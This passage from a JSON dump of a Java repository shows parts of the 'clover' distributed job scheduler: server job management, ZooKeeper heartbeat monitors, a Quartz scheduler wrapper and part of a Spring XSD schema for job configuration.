ADD:\r\n                return addJob(serverJob);\r\n            case DELETE:\r\n                return deleteJob(serverJob);\r\n            case UPDATE:\r\n                return updateJob(serverJob);\r\n            default:\r\n                return false;\r\n        }\r\n    }\r\n\r\n    private boolean addJob(ServerJob serverJob) {\r\n        logger.error(\"addJob -> MongoDBUtil: insertOrUpdate  >>>\");\r\n        try {\r\n            if (!scheduler.add(serverJob)) return false;\r\n            return MongoDBUtil.INSTANCE.insertOrUpdate(BuildMongoDBData.getInsertJobBasicDBObject(serverJob),\r\n                    DBTableInfo.TBL_CLOVER_JOB);\r\n        } catch (Exception e) {\r\n            logger.error(\"ModuleSchedulerServer-->>addJob(\" + serverJob.toString() + \") error\", e);\r\n            String execMethod = \"ModuleSchedulerServer-->>addJob(\" + serverJob.toString() + \")\";\r\n            String execResult = \"ModuleSchedulerServer-->>addJob(\" + serverJob.toString() + \") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(serverJob.getJobDetail().getKey().toString(),\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    private boolean deleteJob(ServerJob serverJob) {\r\n        logger.error(\"deleteJob -> MongoDBUtil: delete  >>>\");\r\n        try {\r\n            if (!scheduler.delete(serverJob)) return false;\r\n            MongoDBUtil.INSTANCE.delete(getDeleteRemoteJobBasicDBObject(serverJob), DBTableInfo.TBL_CLOVER_JOB);\r\n            return true;\r\n        } catch (Exception e) {\r\n            logger.error(\"ModuleSchedulerServer-->>deleteJob(\" + serverJob.toString() + \") error\", e);\r\n            String execMethod = \"ModuleSchedulerServer-->>deleteJob(\" + serverJob.toString() + \")\";\r\n            String execResult = \"ModuleSchedulerServer-->>deleteJob(\" + serverJob.toString() + \") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(serverJob.getJobDetail().getKey().toString(),\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    private BasicDBObject getDeleteRemoteJobBasicDBObject(ServerJob deleteJob) {\r\n        BasicDBObject condition = new BasicDBObject();\r\n        condition.put(DBTableInfo.COL_JOB_KEY, deleteJob.getJobDetail().getKey().toString());\r\n        condition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_REMOTE);\r\n        return condition;\r\n    }\r\n\r\n    private boolean updateJob(ServerJob serverJob) {\r\n        logger.error(\"updateJob -> MongoDBUtil: update  >>>\");\r\n        try {\r\n            return deleteJob(serverJob) && addJob(serverJob);\r\n        } catch (Exception e) {\r\n            logger.error(\"ModuleSchedulerServer-->>updateJob(\" + serverJob.toString() + \") error\", e);\r\n            String execMethod = \"ModuleSchedulerServer-->>updateJob(\" + serverJob.toString() + \")\";\r\n            String execResult = \"ModuleSchedulerServer-->>updateJob(\" + serverJob.toString() + \") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(serverJob.getJobDetail().getKey().toString(),\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public boolean startup() {\r\n        try {\r\n            scheduler.start(); //start scheduler\r\n            String serverIp = IpUtil.getLocalIP();\r\n            registerToZK(CommonConstants.MODULE_TYPE_SERVER,serverIp , null, CommonConstants.ZMQ_SERVER_PORT, CommonConstants.SYSTEM_ID_CLOVER);\r\n            reloadJobFromDB(CommonConstants.MODULE_TYPE_SERVER,serverIp);//从DB中恢复已注册的REMOTE任务\r\n            //resetJobExecuteTime(null,serverIp);\r\n            //AsyncStartZeroMQ.startup(CommonConstants.ZMQ_SERVER_PORT);\r\n            //new ObjectRespServer().bind(CommonConstants.NETTY_SERVER_PORT);\r\n            new ObjectRespServer().start(CommonConstants.NETTY_SERVER_PORT);\r\n            //ServerHeartBeat.INSTNACE.startup();\r\n            return true;\r\n        } catch (Exception e) {\r\n            logger.error(\"ModuleSchedulerServer-->>start() error\", e);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    /**\r\n     * 启动 Server端服务\r\n     *\r\n     * @param isRegisterToZK    是否注册到ZK(默认开启)\r\n     * @param isStartupMQ       是否启动MQ(默认开启)\r\n     * @param isReloadJobFromDB 是否从DB中ReloadJob(默认开启)\r\n     * @param systemId          System ID(默认clover)\r\n     * @return\r\n     */\r\n    public boolean startup(boolean isRegisterToZK, boolean isStartupMQ,boolean isStartupNetty, boolean isReloadJobFromDB, String systemId) {\r\n        try {\r\n            scheduler.start(); //start scheduler\r\n            String serverIp = IpUtil.getLocalIP();\r\n            if (isRegisterToZK) {\r\n                registerToZK(CommonConstants.MODULE_TYPE_SERVER, serverIp, null, CommonConstants.ZMQ_SERVER_PORT,\r\n                        systemId);\r\n            }\r\n            if (isStartupNetty) {\r\n               // new ObjectRespServer().bind(CommonConstants.NETTY_SERVER_PORT);\r\n                 new ObjectRespServer().start(CommonConstants.NETTY_SERVER_PORT);\r\n            }\r\n            if (isStartupMQ) {\r\n                //AsyncStartZeroMQ.startup(CommonConstants.ZMQ_SERVER_PORT);\r\n            }\r\n            if (isReloadJobFromDB) {\r\n                reloadJobFromDB(CommonConstants.MODULE_TYPE_SERVER, serverIp);//从DB中恢复已注册的REMOTE任务\r\n            }\r\n            //ServerHeartBeat.INSTNACE.startup();\r\n            //resetJobExecuteTime(null,serverIp);\r\n            return true;\r\n        } catch (Exception e) {\r\n            logger.error(\"ModuleSchedulerServer-->>start() error\", e);\r\n            return false;\r\n        }\r\n    }\r\n    public boolean stop() {\r\n        scheduler.stop();\r\n        try {\r\n            ZKManager zkManager = new ZKManager(PropertiesUtil.loadProperties());\r\n            String serverPathStr = CommonConstants.ZK_ROOT_PATH + \"/server\";\r\n            List<String> serverNodeList  = zkManager.getZooKeeper().getChildren(serverPathStr,false);\r\n            for (int i = 0; (serverNodeList != null) && (i < serverNodeList.size()); i++) {\r\n                String id = serverNodeList.get(i);\r\n                String c = zkManager.getData(serverPathStr + \"/\" + id);\r\n                if (c == null) {\r\n                    continue;\r\n                }\r\n                BasicDBObject record = (BasicDBObject) com.mongodb.util.JSON.parse(c);\r\n                String ip = (String) record.get(CommonConstants.IP);\r\n                if(!StringUtil.isEmpty(ip) && IpUtil.getLocalIP().equals(ip)){\r\n                    zkManager.delete(serverPathStr + \"/\" + id);\r\n                }\r\n            }\r\n            zkManager.close();\r\n        } catch (Exception e) {\r\n            if(logger.isDebugEnabled())e.printStackTrace();\r\n            logger.error(\"ModuleSchedulerServer-->>stop() error \", e);\r\n        }\r\n        return true;\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/monitor/client/ClientHeartBeat.java",
    "content": "package com.gome.clover.core.monitor.client;\r\n\r\nimport com.gome.clover.common.systeminfo.SystemInfoUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.common.zk.ZKUtil;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.apache.zookeeper.CreateMode;\r\n\r\nimport java.util.List;\r\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\r\nimport java.util.concurrent.TimeUnit;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Monitor Client Heart Beat\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic enum ClientHeartBeat {\r\n    INSTNACE;\r\n    private static ScheduledThreadPoolExecutor scheduledThreadPoolExecutor;\r\n    private static boolean isStop = false;\r\n    private static CuratorFramework curatorFramework = ZKUtil.create();\r\n    public void startup() {\r\n        if (null == scheduledThreadPoolExecutor) {\r\n            scheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(1);\r\n        }\r\n        scheduledThreadPoolExecutor.scheduleAtFixedRate(new Runnable() {\r\n            @Override\r\n            public void run() {\r\n                if (!isStop) {\r\n                    if (!curatorFramework.isStarted()) curatorFramework.start();\r\n                    String clientPathStr = CommonConstants.ZK_ROOT_PATH + \"/\" + CommonConstants.MODULE_TYPE_CLIENT;\r\n                    List clientNodeList = ZKUtil.getChilds(curatorFramework, clientPathStr);\r\n                    if (null != clientNodeList && clientNodeList.size() > 0) {\r\n                        updateRecordList(curatorFramework, clientPathStr, clientNodeList);\r\n                    }\r\n\r\n                }\r\n            }\r\n        }, CommonConstants.CLIENT_DIFFER_MILLI_SECONDS, CommonConstants.CLIENT_DIFFER_MILLI_SECONDS, TimeUnit.MILLISECONDS);\r\n    }\r\n\r\n    private void updateRecordList(CuratorFramework curatorFramework, String clientPathStr, List clientNodeList) {\r\n        for (int i = 0; (clientNodeList != null) && (i < clientNodeList.size()); i++) {\r\n            String id = (String) clientNodeList.get(i);\r\n            String c = ZKUtil.getData(curatorFramework, clientPathStr + \"/\" + id);\r\n            if (c == null) {\r\n                continue;\r\n            }\r\n            BasicDBObject record = (BasicDBObject) com.mongodb.util.JSON.parse(c);\r\n            String ip = (String) record.get(CommonConstants.IP);\r\n            if (!StringUtil.isEmpty(ip) && IpUtil.getLocalIP().equals(ip)) {\r\n                record.put(CommonConstants.MEM_RATIO, SystemInfoUtil.getMemRatio());\r\n                record.put(CommonConstants.CPU_RATIO, SystemInfoUtil.getCpuRatio());\r\n                record.put(CommonConstants.TOTAL_THREAD, SystemInfoUtil.getTotalThread());\r\n                record.put(CommonConstants.TS, DateUtil.currentDateTime());\r\n                ZKUtil.setPath(curatorFramework, clientPathStr + \"/\" + id, record.toString(), CreateMode.EPHEMERAL);\r\n            }\r\n        }\r\n    }\r\n\r\n    public void stop() {\r\n        isStop = true;\r\n        curatorFramework.close();\r\n        scheduledThreadPoolExecutor.shutdown();\r\n    }\r\n\r\n    public static void main(String args[]) {\r\n        ClientHeartBeat.INSTNACE.startup();\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/monitor/server/ServerHeartBeat.java",
    "content": "package com.gome.clover.core.monitor.server;\r\n\r\nimport com.gome.clover.common.systeminfo.SystemInfoUtil;\r\nimport com.gome.clover.common.tools.*;\r\nimport com.gome.clover.common.zk.ZKManager;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.List;\r\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\r\nimport java.util.concurrent.TimeUnit;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc: Server Heart Beat\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic enum ServerHeartBeat {\r\n    INSTNACE;\r\n    private static final Logger logger = LoggerFactory.getLogger(ServerHeartBeat.class);\r\n    private static   ScheduledThreadPoolExecutor scheduledThreadPoolExecutor;\r\n    private static   ZKManager zkManager = null;\r\n    private static boolean isStop = false;\r\n    static {\r\n        try {\r\n            zkManager = new ZKManager(PropertiesUtil.loadProperties());\r\n        } catch (Exception e) {\r\n            e.printStackTrace();\r\n            logger.error(\"ServerHeartBeat-->> static method zkManager = new ZKManager(PropertiesUtil.loadProperties()) error \");\r\n        }\r\n    }\r\n   public void startup(){\r\n       if(null==scheduledThreadPoolExecutor){\r\n           scheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(1);\r\n       }\r\n       scheduledThreadPoolExecutor.scheduleAtFixedRate(new Runnable() {\r\n           @Override\r\n           public void run() {\r\n               if (!isStop) {\r\n                   try {\r\n                       String serverPathStr = CommonConstants.ZK_ROOT_PATH + \"/\" + CommonConstants.MODULE_TYPE_SERVER;\r\n                       List serverNodeList = zkManager.getZooKeeper().getChildren(serverPathStr, false);\r\n                       if (null != serverNodeList && serverNodeList.size() > 0) {\r\n                           updateRecordList(zkManager, serverPathStr, serverNodeList);\r\n                       }\r\n                   } catch (Exception e) {\r\n                       if (logger.isDebugEnabled()) e.printStackTrace();\r\n                       System.err.println(\"ServerHeartBeat-->>run()  error，\"+e.getMessage());\r\n                       logger.error(\"ServerHeartBeat-->>run()  error\", e);\r\n                   }\r\n               }\r\n           }\r\n       }, CommonConstants.SERVER_DIFFER_MILLI_SECONDS, CommonConstants.SERVER_DIFFER_MILLI_SECONDS, TimeUnit.MILLISECONDS);\r\n   }\r\n    private void updateRecordList(ZKManager zkManager, String serverPathStr, List serverNodeList) throws Exception {\r\n        for (int i = 0; (serverNodeList != null) && (i < serverNodeList.size()); i++) {\r\n            String id = (String) serverNodeList.get(i);\r\n            String c = zkManager.getData(serverPathStr + \"/\" + id);\r\n            if (c == null) {\r\n                continue;\r\n            }\r\n            BasicDBObject record = (BasicDBObject) com.mongodb.util.JSON.parse(c);\r\n            String ip = (String) record.get(CommonConstants.IP);\r\n            if(!StringUtil.isEmpty(ip) && IpUtil.getLocalIP().equals(ip)){\r\n                record.put(CommonConstants.MEM_RATIO, SystemInfoUtil.getMemRatio());\r\n                record.put(CommonConstants.CPU_RATIO, SystemInfoUtil.getCpuRatio());\r\n                record.put(CommonConstants.TOTAL_THREAD, SystemInfoUtil.getTotalThread());\r\n                record.put(CommonConstants.TS, DateUtil.currentDateTime());\r\n                zkManager.setData(serverPathStr + \"/\" + id,record.toString());\r\n            }\r\n        }\r\n    }\r\n    public void stop() {\r\n        isStop = true;\r\n        assert null!=zkManager;\r\n        try {\r\n            zkManager.close();\r\n        } catch (InterruptedException e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            System.err.println(\"ServerHeartBeat-->>stop()  zkManager.close() error\"+ e.getMessage());\r\n            logger.error(\"ServerHeartBeat-->>stop()  zkManager.close() error\",e);\r\n        }\r\n        scheduledThreadPoolExecutor.shutdown();\r\n    }\r\n    public static void main(String args[]){\r\n        ServerHeartBeat.INSTNACE.startup();\r\n        try {\r\n            TimeUnit.MINUTES.sleep(4L);\r\n        } catch (InterruptedException e) {\r\n            e.printStackTrace();\r\n        }\r\n        ServerHeartBeat.INSTNACE.stop();\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/scheduler/MyScheduler.java",
    "content": "package com.gome.clover.core.scheduler;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.MyJobListener;\r\nimport org.quartz.JobKey;\r\nimport org.quartz.Matcher;\r\nimport org.quartz.Scheduler;\r\nimport org.quartz.SchedulerException;\r\nimport org.quartz.impl.StdSchedulerFactory;\r\nimport org.quartz.impl.matchers.KeyMatcher;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport static org.quartz.JobBuilder.*;\r\nimport static org.quartz.TriggerBuilder.*;\r\nimport static org.quartz.SimpleScheduleBuilder.*;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:重写 scheduler 实现类\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic enum MyScheduler {\r\n    INSTANCE;\r\n    private Logger logger = LoggerFactory.getLogger(getClass());\r\n    private Scheduler scheduler;\r\n\r\n    public boolean start() {\r\n        try {\r\n            scheduler = new StdSchedulerFactory().getScheduler();\r\n            if(!scheduler.isStarted()) scheduler.start();\r\n            return true;\r\n        } catch (Exception e) {\r\n            if(logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MyScheduler-->>start() error \", e);\r\n            String execMethod = \"MyScheduler-->>start()\";\r\n            String execResult = \"MyScheduler-->>start() error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public boolean stop() {\r\n        try {\r\n            if(scheduler.isStarted()) scheduler.shutdown(true);\r\n            return true;\r\n        } catch (SchedulerException e) {\r\n            if(logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MyScheduler-->>stop() error \", e);\r\n            String execMethod = \"MyScheduler-->>stop()\";\r\n            String execResult = \"MyScheduler-->>stop() error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public boolean add(ClientJob job) {\r\n        try{\r\n            if (isExists(job)){\r\n                if(logger.isDebugEnabled()) System.err.println(\" MyScheduler-->>add(\"+job.toString()+\") exists \");\r\n                logger.error(\"MyScheduler-->>add(\"+job.toString()+\") exists \");\r\n                String execMethod = \"MyScheduler-->>add(\"+job.toString()+\")\";\r\n                String execResult = \"MyScheduler-->>add(\"+job.toString()+\") exists  \" ;\r\n                MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                        execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n                return false;\r\n            }\r\n            scheduler.scheduleJob(job.getJobDetail(),job.getTrigger());\r\n           return true;\r\n        }catch (Exception e){\r\n            if(logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MyScheduler-->>addJob(\"+ job.toString()+\") error \",e);\r\n            String execMethod = \"MyScheduler-->>addJob(\"+ job.toString()+\") \";\r\n            String execResult = \"MyScheduler-->>addJob(\"+ job.toString()+\") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public boolean addJobListener(MyJobListener listener, ClientJob job) {\r\n        Matcher<JobKey> matcher = KeyMatcher.keyEquals(job.getJobDetail().getKey());\r\n        try {\r\n            scheduler.getListenerManager().addJobListener(listener, matcher);\r\n            return true;\r\n        } catch (SchedulerException e) {\r\n            if(logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MyScheduler-->>addJobListener(\"+ JSON.toJSONString(listener)+\",\"+job.toString()+\") error \",e);\r\n            String execMethod = \"MyScheduler-->>addJobListener(\"+ JSON.toJSONString(listener)+\",\"+job.toString()+\") \";\r\n            String execResult = \"MyScheduler-->>addJobListener(\"+ JSON.toJSONString(listener)+\",\"+job.toString()+\") error,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public boolean delete(ClientJob clientJob) {\r\n        try {\r\n            if(scheduler.checkExists(clientJob.getJobDetail().getKey())){\r\n                return scheduler.deleteJob(clientJob.getJobDetail().getKey());\r\n            }else {\r\n                logger.error(\"MyScheduler-->>delete(\"+clientJob.toString()+\") the clientJob not exist \");\r\n                String execMethod = \"MyScheduler-->>delete(\"+ clientJob.toString()+\") \";\r\n                String execResult = \"MyScheduler-->>delete(\"+ clientJob.toString()+\") the clientJob not exist \" ;\r\n                MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                        execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n                return false;\r\n            }\r\n        } catch (Exception e) {\r\n            if(logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MyScheduler-->>delete(\"+clientJob.toString()+\") error \",e);\r\n            String execMethod = \"MyScheduler-->>delete(\"+clientJob.toString()+\")\";\r\n            String execResult = \"MyScheduler-->>delete(\"+clientJob.toString()+\") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public boolean update(ClientJob job) {\r\n        try{\r\n            return delete(job) && add(job);\r\n        }catch (Exception e){\r\n            if(logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MyScheduler-->>update(\"+ job.toString()+\") error \",e);\r\n            String execMethod = \"MyScheduler-->>update(\"+ job.toString()+\")  \";\r\n            String execResult = \"MyScheduler-->>update(\"+ job.toString()+\") error, \" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public boolean isExists(ClientJob job) {\r\n        try {\r\n            return scheduler.checkExists(job.getJobDetail().getKey());\r\n        } catch (SchedulerException e) {\r\n            if(logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MyScheduler-->>isExists(\"+job.toString()+\") error \",e);\r\n            String execMethod =\"MyScheduler-->>isExists(\"+job.toString()+\")\";\r\n            String execResult = \"MyScheduler-->>isExists(\"+job.toString()+\") error,\"+ e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public boolean isExists(JobKey jobKey) {\r\n        try {\r\n            return scheduler.checkExists(jobKey);\r\n        } catch (SchedulerException e) {\r\n            if(logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MyScheduler-->>isExists(\"+ jobKey.toString() +\") error \",e);\r\n            String execMethod = \"MyScheduler-->>isExists(\"+ jobKey.toString() +\") \";\r\n            String execResult = \"MyScheduler-->>isExists(\"+ jobKey.toString() +\") error,\"+ e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/resources/META-INF/cloverjob-1.0.0.xsd",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<xsd:schema xmlns=\"http://www.gome.com.cn/schema/cloverjob\"\n            xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\n            targetNamespace=\"http://www.gome.com.cn/schema/cloverjob\"\n            elementFormDefault=\"qualified\"\n            attributeFormDefault=\"unqualified\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\"/>\n    <xsd:import namespace=\"http://www.springframework.org/schema/tool\"/>\n\n    <xsd:annotation>\n        <xsd:documentation><![CDATA[ Namespace support for the clover job  provided by clover. ]]></xsd:documentation>\n    </xsd:annotation>\n\n    <xsd:element name=\"config\">\n        <xsd:annotation>\n            <xsd:documentation><![CDATA[ clover config 的配置节点 ]]></xsd:documentation>\n        </xsd:annotation>\n        <xsd:complexType>\n            <xsd:attribute name=\"systemId\" type=\"xsd:string\" use=\"required\" >\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ systemId ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"token\" type=\"xsd:string\" use=\"required\" >\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ token ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n\n            <xsd:attribute name=\"jobClassName\" type=\"xsd:string\" use=\"required\" >\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ job class name 集合 ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"isStartupMQ\" type=\"xsd:string\" use=\"optional\" default=\"true\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ 是否启动MQ ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"isStartupNetty\" type=\"xsd:string\" use=\"optional\" default=\"true\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ 是否启动NETTY ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n\n            <xsd:attribute name=\"isRegisterToZK\" type=\"xsd:string\" use=\"optional\" default=\"true\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ 是否注册到ZK ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"port\" type=\"xsd:string\" use=\"optional\" default=\"-1\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ mq 消费者端口 ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n\n        </xsd:complexType>\n\n    </xsd:element>\n\n\n    <xsd:element name=\"job\">\n        <xsd:annotation>\n            <xsd:documentation><![CDATA[ clover job 的配置节点 ]]></xsd:documentation>\n        </xsd:annotation>\n        <xsd:complexType>\n            <xsd:attribute name=\"id\" type=\"xsd:string\" use=\"required\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ id ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"jobGroup\" type=\"xsd:string\" use=\"required\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ job 所属组 ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"jobName\" type=\"xsd:string\" use=\"required\" >\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ job 名称 ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"jobType\" type=\"xsd:string\" use=\"optional\" default=\"LOCAL\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ job类型 LOCAL,REMOTE ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"executeType\" type=\"xsd:string\" use=\"optional\" default=\"ADD\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ job 执行类型 ADD,UPDATE,DELETE ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"jobStrategy\" type=\"xsd:string\" use=\"optional\" default=\"HASH\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ job 策略 HASH,SYSTEM_CAPACITY ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"startTime\" type=\"xsd:string\" use=\"optional\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ job 执行时间 ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"cronExpression\" type=\"xsd:string\" use=\"optional\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ job cron执行表达式 ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute 